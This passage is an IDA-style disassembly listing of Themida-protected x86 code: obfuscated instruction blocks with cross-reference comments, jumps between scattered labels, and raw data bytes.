; ---------------------------------------------------------------------------


loc_621BD1:				; CODE XREF: Themida_:006253E1j
		add	esp, 4
		push	edi
		jmp	loc_624415
; ---------------------------------------------------------------------------
		dw 1C33h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_62852D
; ---------------------------------------------------------------------------
		db 55h
		dd 0F7505D58h, 0D6E92414h
		db 0BDh, 2 dup(0FFh)
byte_621BFB	db 0FFh			; DATA XREF: Themida_:0061C17Co
		dd 669D1C77h, 4196658h,	14E99C24h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621C0B:				; CODE XREF: Themida_:0062701Aj
		mov	eax, esp
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 71B02E11h
		mov	ecx, 71B02E15h
		sub	ecx, ebx
		jmp	loc_620646
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 0B8h
		dd 46D813E8h, 5358C201h, 2AD2E9h, 0FE015E00h, 44A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_621C3D:				; CODE XREF: Themida_:006264D2j
		sub	dword ptr [esp], 74F56840h
		pop	edi
		jmp	loc_622D0B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 50E58924h, 824ABFB8h, 0B26FE967h, 0EA81FFFFh, 4509551Fh
		dd 0FFEE09E9h, 9ECE80FFh, 0E95CEE80h, 0FFFFF155h
; ---------------------------------------------------------------------------


loc_621C70:				; CODE XREF: Themida_:00628702j
		xor	eax, esi
		push	34Ch
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	1D6Bh
		mov	[esp], eax
		jmp	loc_61E01F
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0C0E95106h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_621CA3:				; CODE XREF: Themida_:0061F2F7j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_62237A
; ---------------------------------------------------------------------------


loc_621CB3:				; CODE XREF: Themida_:00620798j
		shl	edx, 1
		xor	edx, 8555BC4h
		jmp	loc_622E51
; ---------------------------------------------------------------------------
		dd 0E904C483h, 2Fh, 0E8000EB5h,	68D80059h, 7DE7h, 68241C89h
		dd 7EE7h, 81241489h, 4ECh, 241C8900h, 0DA881DB3h, 83241C8Bh
		dd 7EE904C4h, 56000002h, 0FFD6B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_621CFD:				; CODE XREF: Themida_:0061C373j
		push	ebx
		mov	ebx, esp
		jmp	loc_62815A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704C3h, 32D8E924h, 89500000h, 0D8E6E9E0h
		dd 7035FFFFh, 0E981ACA4h, 0FFFFB67Bh, 81535854h, 4ECh
		dd 240C8900h, 3C43E9h, 4BB00h, 5C010000h, 0E95B0424h, 1557h
; ---------------------------------------------------------------------------


loc_621D48:				; CODE XREF: Themida_:00620244j
		add	eax, ecx
		pop	ecx
		jmp	loc_624DF6
; ---------------------------------------------------------------------------
		dd 0DD68D831h, 0E9000003h, 0FFFFEE7Bh, 5B2D934Bh, 89B75320h
		dd 0E80158C5h, 420DE9h,	5485800h, 0D82DFC96h, 60BAC781h
		dd 0BA524AB1h, 12D93907h, 161CE281h, 814279E5h,	0DC481BF2h
		dd 5AD7017Dh, 1741E9h
		db 0
; ---------------------------------------------------------------------------


loc_621D95:				; CODE XREF: Themida_:0061FA64j
		xor	edi, 49BC1763h
		xor	edx, edi
		pop	edi
		shl	edx, 2
		add	edx, 7ACC65DDh
		push	edi
		jmp	loc_62387C
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 7Dh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621DB3:				; CODE XREF: Themida_:0061F530j
		add	ebx, 618F24C1h
		jmp	loc_61D58D
; ---------------------------------------------------------------------------


loc_621DBE:				; CODE XREF: Themida_:0062302Aj
		pop	edi
		jmp	loc_623B5B
; ---------------------------------------------------------------------------
		dd 80E3EE80h, 0B45071F6h, 0AAEC8068h, 0D058E600h, 80D6F6EEh
		dd 0C6FE9FF6h, 688AF680h, 0E2Eh, 0FFE565E9h, 2EC83FFh
		dd 2D83E9h, 0DFF76600h,	5974E9h, 0AED8100h, 1A36954h, 0CAB0E9EBh
		dd 0E929FFFFh, 81F9015Dh, 580E6BC1h, 0C0B1E922h, 34FFFFFFh
		dd 0E9565824h, 0FFFFF7F9h, 0DEE9D031h, 29000037h, 0A5E981C1h
		dd 580AA70Dh, 5C240C87h, 5D240C89h, 52240C8Bh, 0B850E289h
		dd 4, 0E958C201h, 2DACh
; ---------------------------------------------------------------------------


loc_621E4C:				; CODE XREF: Themida_:00624422j
		push	ebp
		jmp	loc_61E40B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFEBC5E9h, 0C4835CFFh, 2434FF04h, 8B2434FFh, 0C481240Ch
		dd 4, 0FFEC5AE9h
		db 0FFh
byte_621E75	db 66h,	8Fh, 2		; DATA XREF: Themida_:0061C0ACo
		dd 0FFA3A2E9h, 81E589FFh, 4C5h,	4ED8100h, 87000000h, 0E95C242Ch
		dd 0FFFFB01Bh, 0C381E389h, 4, 0FFDAF5E9h, 42E958FFh, 66000064h
		dd 6E0F781h, 0FFFF40E9h, 59CE01FFh, 9AE95253h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621EBB:				; CODE XREF: Themida_:00626B29j
		add	edx, 4
		jmp	loc_628086
; ---------------------------------------------------------------------------
		db 81h
		dd 8569A6C1h, 53E9012Ah, 8569A6BBh, 5BD9292Ah, 74FF515Dh
		dd 8F590424h, 0E95C2404h, 0FFFFECAFh, 42474FFh,	24048F5Bh
		dd 2404895Ch, 58E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_621EF5:				; CODE XREF: Themida_:0061F92Fj
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	7F416CA3h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 2EDE0826h
		push	eax
		xchg	edi, [esp]
		not	edi
		jmp	loc_61F712
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 5592h, 32A9E959h, 0EC830000h, 240C8904h
		dd 0C1807FB1h, 5E9C001h, 2D86E952h, 0D5F60000h,	0D5F6CDFEh
		dd 4D7F580h, 0E9E8002Bh, 0FFFFD5CDh, 37E9DAF7h,	55000021h
		dd 0FFC263E9h, 98B3FFh,	77E95AD3h
		db 0AEh, 2 dup(0FFh)
byte_621F7F	db 66h			; DATA XREF: Themida_:0061C0BCo
		dd 0E9240C8Bh, 1B01h, 840FC00Bh, 42E8h,	0E904EC83h, 0FFFFB93Ah
		dd 0E9E78957h, 2414h, 409665Ch,	74E99C24h, 30FFFFA2h, 24148BD7h
		dd 404C483h, 66F800A2h,	5EF4E953h, 4BE0000h, 89000000h
		dd 0E8015EF5h, 83242C8Bh, 48704C4h, 0E9515C24h,	0FFFFA84Ch
dword_621FD8	dd 3BB468h, 24048900h, 1423BE56h, 74295D0Ch, 348B0424h
					; DATA XREF: Themida_:0061C124o
		dd 0FABAE924h, 3C33FFFFh, 5CC7E924h
		db 2 dup(0)
word_621FFA	dw 50ACh		; DATA XREF: Themida_:0061C0D4o
		dd 405E089h, 0E9000000h, 0A46h
; ---------------------------------------------------------------------------


loc_622008:				; CODE XREF: Themida_:00621A80j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0D3FB863Eh
		jmp	loc_626A52
; ---------------------------------------------------------------------------
		dw 8141h
		dd 0E7920E9h, 59CD31A9h, 38AFE9h, 6F7FBA00h, 0DAF75A82h
		dd 907DEA81h, 0D689A57Dh, 2663E95Ah, 89B80000h,	0E97C663Fh
		dd 0FFFFC758h, 0E904E6C1h, 0FFFFB37Eh, 5DEF8958h, 6D3BCF81h
		dd 0E9551C2Ch, 0FFFFD280h, 0FB6BC681h, 0EB81C34Ch, 28525461h
		dd 0C381F301h, 28525461h, 2E14E95Eh, 0CF810000h, 75CB7B98h
		dd 4F71E781h, 8E9148Bh,	100001Dh, 242C8BE9h, 8704C483h
		dd 95C240Ch, 0E99C2404h, 0FFFFA177h, 0A45099BFh, 5099B92Dh
		dd 0F9292DA4h, 61E7E95Fh, 0AEB80000h, 4038C00Dh, 85BE9h
		db 0
byte_6220C5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C0F8o
		dd 5A545224h, 32DAB951h, 0E981704Eh, 45F4124Eh,	76E98149h
		dd 0E9070534h, 0FFFFE79Ch
; ---------------------------------------------------------------------------


loc_6220E4:				; CODE XREF: Themida_:006223A9j
		mov	[esp], esp
		push	edx
		push	esi
		mov	esi, 748E34FFh
		shl	esi, 6
		shr	esi, 2
		add	esi, 3A514590h
		jmp	loc_6236AC
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0E9D9F7E1h, 0FFFFD0F2h, 0D0F7D0F7h, 504E0C1h, 366746A2h
		dd 0FFFC05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_622119:				; CODE XREF: Themida_:0061D914j
		pop	ebx
		jmp	loc_62328E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0E6E95624h, 8F000012h, 4832404h, 48B0424h
		dd 5E56E924h, 0C4830000h, 4BECE904h, 0C8B0000h,	4C48324h
		dd 84E9EF01h, 5CFFFFEFh, 4EC81h, 3C890000h, 621BF24h, 0EFC12CC9h
		dd 1EF8304h, 37CDC781h,	5FE95343h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_62216F:				; CODE XREF: Themida_:0061E20Aj
		add	ah, cl
		pop	ecx
		jmp	loc_6280AD
; ---------------------------------------------------------------------------
		db 0F7h
		dd 14F751D1h, 0E9815924h, 0BA1C598h, 0FFC9A8E9h, 0E8C15DFFh
		dd 0C9E99307h, 51FFFFFBh, 0B9h,	89F92900h, 240C8BCFh, 4704C483h
		dd 0E902E7C1h, 61A1h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0FFA1B7E9h, 83525CFFh, 4BE904ECh, 2DFFFFCBh,	3C384C9Fh
		dd 9F05F801h, 2D3C384Ch, 4D7348F2h, 8B2434FFh, 0C483243Ch
		dd 4C48304h, 0FFA032E9h, 4C281FFh, 87000000h, 505C2414h
		dd 4055854h, 0E9000000h, 0FFFFD610h, 0E9243489h, 1E51h
		dd 0C5C2815Fh, 0E9390D29h, 0FFFFF91Ah
; ---------------------------------------------------------------------------


loc_622218:				; CODE XREF: Themida_:00627B94j
		push	edi
		mov	edi, 395B06FDh
		sub	edi, 67BB2410h
		jmp	loc_626AD1
; ---------------------------------------------------------------------------
		db 5Dh,	52h, 53h
		dd 0FFA16CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_622231:				; CODE XREF: Themida_:006277C4j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_626EF5
; ---------------------------------------------------------------------------


loc_62223F:				; CODE XREF: Themida_:0061CAD4j
		push	7E90h
		jmp	loc_6212F8
; ---------------------------------------------------------------------------
aSG_0		db '^<G',0
		dw 8100h
		dd 0A12EA5EEh, 5EF70165h, 0E9243C87h, 4BF9h, 0E9243C8Bh
		dd 27CDh, 406768h, 24048900h, 0FFC934E9h, 241433FFh, 33241431h
		dd 50E92414h, 8900001Ch, 4832424h, 48F0424h, 24048124h
		dd 4, 5BEE9h, 40D0F700h, 3470B951h, 85E96614h, 89FFFFE3h
		dd 0FF2D5BD8h, 83FFFFFFh, 816801E8h, 0E900006Ah, 0FFFFE977h
; ---------------------------------------------------------------------------


loc_6222BC:				; CODE XREF: Themida_:00628097j
		push	eax
		jmp	loc_6223D6
; ---------------------------------------------------------------------------
		dw 9005h
		dd 52688527h, 0FD78E950h, 705FFFFh, 0D1422C0Dh,	0C144E9E8h
		dd 0E95CFFFFh, 0FFFFDECAh, 3DF3C281h, 0C2011F7Eh, 3DF3EA81h
		dd 1581F7Eh, 0D6ABE9D7h, 0B5B8FFFFh, 510BD04Dh,	0A449EFB9h
		dd 5AD9E921h, 0E6C10000h, 83EED103h, 0E68101C6h, 267B2448h
		dd 27FABB53h, 0F3815921h, 84862211h, 0E95BDE31h, 0FFFFA85Bh
; ---------------------------------------------------------------------------


loc_622328:				; CODE XREF: Themida_:00624AE8j
		xor	edx, 515A2388h
		jmp	loc_622C8F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B95108EDh, 38BB1345h, 0F40C981h, 0D9F766A7h, 3BD8E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62234A:				; CODE XREF: Themida_:0062486Aj
		mov	eax, ebp
		pop	ebp
		xor	ebx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 22955DD3h
		or	eax, 4DC05C7Ah
		jmp	loc_62050C
; ---------------------------------------------------------------------------
		db 5, 69h, 7Ah
		dd 0C3293170h, 17C46858h, 14890000h, 0ED2BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62237A:				; CODE XREF: Themida_:00621CAEj
		mov	ecx, 1A5B3E1Ch
		jmp	loc_622BB2
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 50CAh
; ---------------------------------------------------------------------------


loc_62238C:				; CODE XREF: Themida_:0061E419j
		movzx	cx, ah
		push	33E6h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_620048
; ---------------------------------------------------------------------------


loc_62239F:				; CODE XREF: Themida_:0061E265j
		mov	ebx, [esp]
		push	edx
		sub	esp, 4
		jmp	loc_6220E4
; ---------------------------------------------------------------------------


loc_6223AE:				; CODE XREF: Themida_:00625693j
		xor	[esp], edx
		jmp	loc_61FD36
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0EA7AC3CCh, 55BD801h, 4, 5C240487h, 0BDFAE955h, 0E7C1FFFFh
		dd 340E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6223D6:				; CODE XREF: Themida_:006222BDj
		mov	eax, 1
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		jmp	loc_627D35
; ---------------------------------------------------------------------------


loc_6223E6:				; CODE XREF: Themida_:00624724j
		mov	[esp], esp
		jmp	loc_6284EE
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4BE56E7h, 81000000h,	0A376EBEFh, 14EF815Dh, 11B066Fh
		dd 14C781F7h, 0E91B066Fh, 4B0Dh, 4BE56h, 9CE90000h, 8BFFFFD5h
		dd 0C483240Ch, 8BE95204h, 4000003h, 52F02824h, 2BE93CB6h
		dd 3500001Dh, 368C3BAAh, 0E905E0C1h, 4875h, 5C243C87h
		dd 9C240CD3h, 0FF9DD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62244D:				; CODE XREF: Themida_:006229E8j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_620379
; ---------------------------------------------------------------------------
		dd 8158C201h, 4C2h, 24148700h, 2A8C685Ch, 3C890000h, 685F5424h
		dd 18B0h, 0E9240489h, 219Eh, 241CF750h,	35D0F758h, 36911069h
		dd 73DDBB53h, 0C3817AF8h, 2D353D38h, 0FFF670E9h
		db 0FFh
byte_622499	db 64h,	66h, 8Bh	; DATA XREF: Themida_:0061C198o
		dd 0E0895002h, 105BBE56h, 54E94C60h, 6800000Bh,	69ADh
		dd 53240C89h, 0FD88F2B7h, 0FFE8305Bh, 0C8B2434h, 0B226824h
		dd 34890000h, 815E5424h, 4C6h, 4C68100h, 56000000h, 42474FFh
		dd 0FFE9C4E9h, 4EF81FFh, 87000000h, 85E9243Ch, 58000033h
		dd 335DEE01h, 34312434h, 0D01DE924h, 0F581FFFFh, 36D6E19h
		dd 1AE9EB89h, 8B000053h, 93E9242Ch
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622513:				; CODE XREF: Themida_:0061CB1Dj
		push	86Bh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_620D5C
; ---------------------------------------------------------------------------
		db 29h
		dd 4F78E9F5h, 24890000h, 24048324h, 0C1815904h,	4, 0FFD388E9h
		dd 9CD5E9FFh, 0E181FFFFh, 348F57C4h, 1860C981h,	0C7E97FF0h
		db 0FAh, 2 dup(0FFh)
byte_62255B	db 0ADh			; DATA XREF: Themida_:0061C108o
		dd 0BD3BF57h, 0E3E90313h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622567:				; CODE XREF: Themida_:00622C20j
		not	bl
		mov	dl, bl
		jmp	loc_61CFEA
; ---------------------------------------------------------------------------


loc_622570:				; CODE XREF: Themida_:00625369j
		mov	ebx, ecx
		jmp	loc_61E375
; ---------------------------------------------------------------------------
		db 89h
		dd 95E9242Ch, 0B9FFFFA6h, 73D627ACh, 6D63C981h,	81415727h
		dd 41499AF1h, 59C8894Ah, 8A292725h, 0D8F7487Ch,	0FFEAAFE9h
		dd 2434FFFFh, 4C4835Fh,	166FE9h
		db 0
; ---------------------------------------------------------------------------


loc_6225AD:				; CODE XREF: Themida_:00620653j
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 78C84C48h
		sub	edx, 0FFFFFFFFh
		sub	edx, 38136E07h
		push	ebp
		jmp	loc_62626E
; ---------------------------------------------------------------------------
		dd 0E907EFC1h, 1D3Fh
; ---------------------------------------------------------------------------


loc_6225D0:				; CODE XREF: Themida_:00627FB1j
		inc	esi
		jmp	loc_61F4DD
; ---------------------------------------------------------------------------
		dw 0D568h
		dd 89000021h, 9E92414h,	88000060h, 48B5921h, 8CE95724h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6225EF:				; CODE XREF: Themida_:00622FFAj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_620239
; ---------------------------------------------------------------------------
		db 0BEh, 0F4h, 0A9h
		dd 0F201EF8Fh, 5AD7015Eh, 0B4CFE950h
		db 2 dup(0FFh)
word_62260E	dw 0E9ACh		; DATA XREF: Themida_:0061BFE0o
		dd 0FFFFE6CAh
; ---------------------------------------------------------------------------


loc_622614:				; CODE XREF: Themida_:00623881j
		inc	edi
		neg	edi
		add	edi, 0AB516E3h
		add	edi, 9B848F06h
		jmp	loc_623739
; ---------------------------------------------------------------------------
		dd 242C895Ch, 0FFC491E9h, 8E9C1FFh, 1434C981h, 1CE9332Ah
		dd 89FFFFE8h, 27CD68E1h, 3C890000h, 0C4BA5224h,	575A743Dh
		dd 0FFAE87E9h, 241489FFh, 83F68h, 0A3D6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622662:				; CODE XREF: Themida_:00624DB2j
		mov	al, 5Eh
		mov	dh, al
		jmp	loc_628587
; ---------------------------------------------------------------------------
		db 53h
		dd 532677BBh, 5BDA017Fh, 6459C281h, 0DA0160DFh,	6459EA81h
		dd 0EA8160DFh, 7F532677h, 5B2434FFh, 0FFEF5CE9h, 241C8BFFh
		dd 4C481h, 0C4830000h, 9B7DE904h, 0E957FFFFh, 0C97h
; ---------------------------------------------------------------------------


loc_6226A8:				; CODE XREF: Themida_:00626386j
		pop	dword ptr [esp]
		jmp	loc_62700B
; ---------------------------------------------------------------------------
		dd 8B241487h, 2C892424h, 5FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6226BE:				; CODE XREF: Themida_:00625938j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_625520
		push	ecx
		push	38A25545h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_62581B
; ---------------------------------------------------------------------------


loc_6226DA:				; CODE XREF: Themida_:0061F6F1j
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2000h
		and	eax, edi
		jmp	loc_61D11E
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0E9EF2900h, 0FFFFE50Ah
dword_6226FC	dd 8B2434FFh			db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_61D4E8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FD1DE900h, 5147FFFFh,	0FFD760E9h, 170268FFh
		dd 24890000h, 0CCCBE924h, 0C681FFFFh, 31DFEDB6h, 295EF189h
		dd 5904244Ch, 56240401h, 0EA3420BEh, 2474017Eh,	50555E04h
		dd 0AE2541B8h, 3E49E943h, 0B9510000h, 5F8517CDh, 5D7E981h
		dd 0F2E9EBCCh, 5D000053h, 942E9h, 24048F00h, 1489665Ch
		dd 9C506624h, 0FF9AA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_622779:				; CODE XREF: Themida_:00627A32j
		not	dword ptr [esp]
		pop	eax
		or	eax, 4E5E6AE9h
		not	eax
		xor	eax, 29FB29C4h
		dec	eax
		dec	eax
		sub	eax, 0FFFFFFFFh
		shl	eax, 3
		push	esi
		mov	esi, 1F51DE78h
		sub	eax, 765936BDh
		sub	eax, esi
		jmp	loc_628484
; ---------------------------------------------------------------------------


loc_6227A5:				; CODE XREF: Themida_:0061F720j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_61D9B6
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 0BD550000h, 4, 875DEA01h, 815C2414h,	4C1h, 4EC8100h
		dd 0E9000000h, 0FFFFC56Dh, 815FFD31h, 8368C0F5h, 5DEA893Dh
		dd 4F12C281h, 0EA810D31h, 7624317Dh, 516DE9h, 8BEB2900h
		dd 0C483242Ch, 95C38104h, 817BDE3Ah, 572260C3h,	81C30145h
		dd 572260EBh, 0C941E945h, 8953FFFFh, 0B1EEE9E3h
		db 2 dup(0FFh)
word_62281E	dw 31ADh		; DATA XREF: Themida_:0061C1B8o
		dd 0E28952D8h, 0FF9D42E9h, 24348BFFh, 5E08950h,	4, 8704C083h
		dd 8F5C2404h, 525C2404h, 0C380F7B2h, 0D5FE9C9h,	0E9810000h
		dd 0CBC418E1h, 0D0E9C801h, 8B000019h, 0F1682434h, 89000030h
		dd 6EE9241Ch
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_622867:				; CODE XREF: Themida_:006268FDj
		push	edx
		mov	edx, esp
		jmp	loc_6269BC
; ---------------------------------------------------------------------------


loc_62286F:				; CODE XREF: Themida_:0061E31Bj
		mov	eax, 4C5E3791h
		inc	eax
		sub	eax, 0F9E3040Ah
		or	ebx, eax
		pop	eax
		sub	ebx, 552F6BFCh
		and	ebx, 22BA5DFBh
		shr	ebx, 2
		jmp	loc_61FA4F
; ---------------------------------------------------------------------------
		db 51h,	55h, 0BDh
		dd 600F78C3h, 0FFA599E9h, 0E9E689FFh, 0FFFFD17Eh, 4BE565Fh
		dd 1000000h, 0C7835EF7h, 243C8704h, 52F1F75Ch, 53505A54h
		dd 367CFFBBh, 0E9DBF728h, 0FFFFAFDFh, 69E95D54h, 0FFFFFFEAh
		dd 83592434h, 0D5F704C4h, 38B8B951h, 0F18136A4h, 36C06BBDh
		dd 8A2C181h, 0CD014B80h, 0FA41E959h, 0D1F7FFFFh, 516F68h
		dd 521FE900h, 0F2290000h, 8BD5015Eh, 0C4832414h, 65BB5304h
		dd 0C1076174h, 0EBC108E3h, 52F38104h, 0E9061746h, 533Ah
		dd 0A2DD8F7h, 173FC79h,	0E95058C2h, 0FFFFC00Eh
; ---------------------------------------------------------------------------


loc_622930:				; CODE XREF: Themida_:0061CE6Aj
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 1Ch
		push	edi
		mov	edi, 15183D58h
		jmp	loc_62814F
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0AD5DE924h, 48BFFFFh, 7D6E6824h, 34890000h, 63106824h
		dd 8F540000h, 4812404h,	424h, 7C7E900h,	0C6830000h, 0ED2CE904h
		dd 248BFFFFh, 1E10E924h, 1C890000h, 6863B724h, 533Dh, 51241489h
		dd 44B67DB1h, 0C2E9CE30h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622997:				; CODE XREF: Themida_:006267BBj
		pop	ebp
		push	edx
		mov	edx, 0EBF134Eh
		or	edi, edx
		pop	edx
		xor	edi, 14321F53h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_625501
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFE0A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6229D5:				; CODE XREF: Themida_:0061E382j
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_62244D
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 4
		dd 28E99C24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6229F7:				; CODE XREF: Themida_:0062051Ej
		add	edi, eax
		pop	eax
		jmp	loc_61E466
; ---------------------------------------------------------------------------


loc_6229FF:				; CODE XREF: Themida_:0061E884j
		shr	ebx, 2
		push	eax
		mov	eax, 2EA4315Ch
		shr	eax, 4
		shl	eax, 4
		shl	eax, 2
		xor	eax, 3E70146Ah
		neg	eax
		add	eax, 97FD4AE3h
		sub	ebx, eax
		pop	eax
		add	ebx, 57C37F9h
		mov	eax, ebx
		pop	ebx
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_622A3C:				; CODE XREF: Themida_:00627550j
		push	ecx
		jmp	loc_624C54
; ---------------------------------------------------------------------------
		dw 762Dh
		dd 31AA42FFh, 0FAA1E9C5h, 22DFFFFh, 87000000h, 665C2404h
		dd 0B3241C89h, 1F68E9BDh, 62D0000h, 0C1029126h,	322D05E0h
		dd 50DA0369h, 0A0297EB8h, 1920250Bh, 0EC0D4C0Eh, 4049F814h
		dd 4354E20Dh, 6E0C15Dh,	28EBB53h, 0D801C165h, 0E9C2295Bh
		dd 0FFFFD235h, 4C4815Fh, 83000000h, 2C8904ECh, 1C5CBD24h
		dd 8145373Fh, 6713C3C5h, 24F5812Fh, 166A630h, 242C8BEFh
		dd 8304C483h, 0FF5704EFh, 5F042474h, 8B24048Fh,	14892424h
		dd 2862B624h, 991FE9F0h, 0C381FFFFh, 21A64362h,	6D01BA52h
		dd 2E99F7Eh, 0BF00000Dh, 2, 787FBE56h, 0F22972BCh, 0E9FA015Eh
		dd 2550h
; ---------------------------------------------------------------------------


loc_622B00:				; CODE XREF: Themida_:00623A66j
		mov	ebx, 65CE2943h
		mov	ebp, 65CE2945h
		sub	ebp, ebx
		jmp	loc_61F555
; ---------------------------------------------------------------------------
		db 0B2h, 61h, 80h
		dd 0EAD058CAh, 0FF9A87E9h, 242C87FFh, 0E689565Ch, 4BB53h
		dd 0DE010000h, 4C6815Bh, 87000000h, 248B2434h, 96E1E924h
		dd 0F181FFFFh, 7D736EF3h, 0C8BC801h, 3FFFE924h,	6C810000h
		dd 20F60424h, 7C2939AEh, 0C6E90424h, 0FF000000h, 96B9E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622B66:				; CODE XREF: Themida_:00622FDFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_6271AA
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0FF9E6FE9h
		db 0FFh
byte_622B89	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0061C10Co
		dd 411589Dh, 88E99C24h,	53FFFF96h, 0D446DDBBh, 0ABEB8147h
		dd 4B4D4050h, 5604E9h, 0E8315A00h, 3AD1E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_622BB2:				; CODE XREF: Themida_:0062237Fj
		sub	esp, 4
		jmp	loc_6233C3
; ---------------------------------------------------------------------------


loc_622BBA:				; CODE XREF: Themida_:00625E04j
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9F587D6h, 0FFFFDE33h, 4B8h, 58C30100h, 31241C33h
		dd 0B6E9241Ch
		db 0EFh, 2 dup(0FFh)
byte_622BDB	db 0FFh			; DATA XREF: Themida_:0061C080o
		dd 48B2434h, 4C48324h, 81E78957h, 4C7h,	0ED0CE900h, 0C681FFFFh
		dd 4, 4BB7E9h, 82B25200h, 305AD588h, 240C8BEEh,	0FFD05EE9h
		dd 81465EFFh, 4908FBC6h, 7D9E978h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_622C1A:				; CODE XREF: Themida_:00625DC4j
		mov	[esp], bx
		mov	bl, dl
		jmp	loc_622567
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 0AE20F604h, 505B5F39h, 4E9EBD55h, 0E8893231h, 1BD0E95Dh
		dd 0C7810000h, 4, 137AE956h, 0D0290000h, 5D4D68h, 243C8900h
		dd 7A3D8EBFh, 4E7C157h,	59CDE9h, 5AD10100h, 386C68h, 3085E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_622C6E:				; CODE XREF: Themida_:0061CAA4j
		inc	esi
		push	7C2Eh
		mov	[esp], edi
		mov	edi, 1ECE3373h
		not	edi
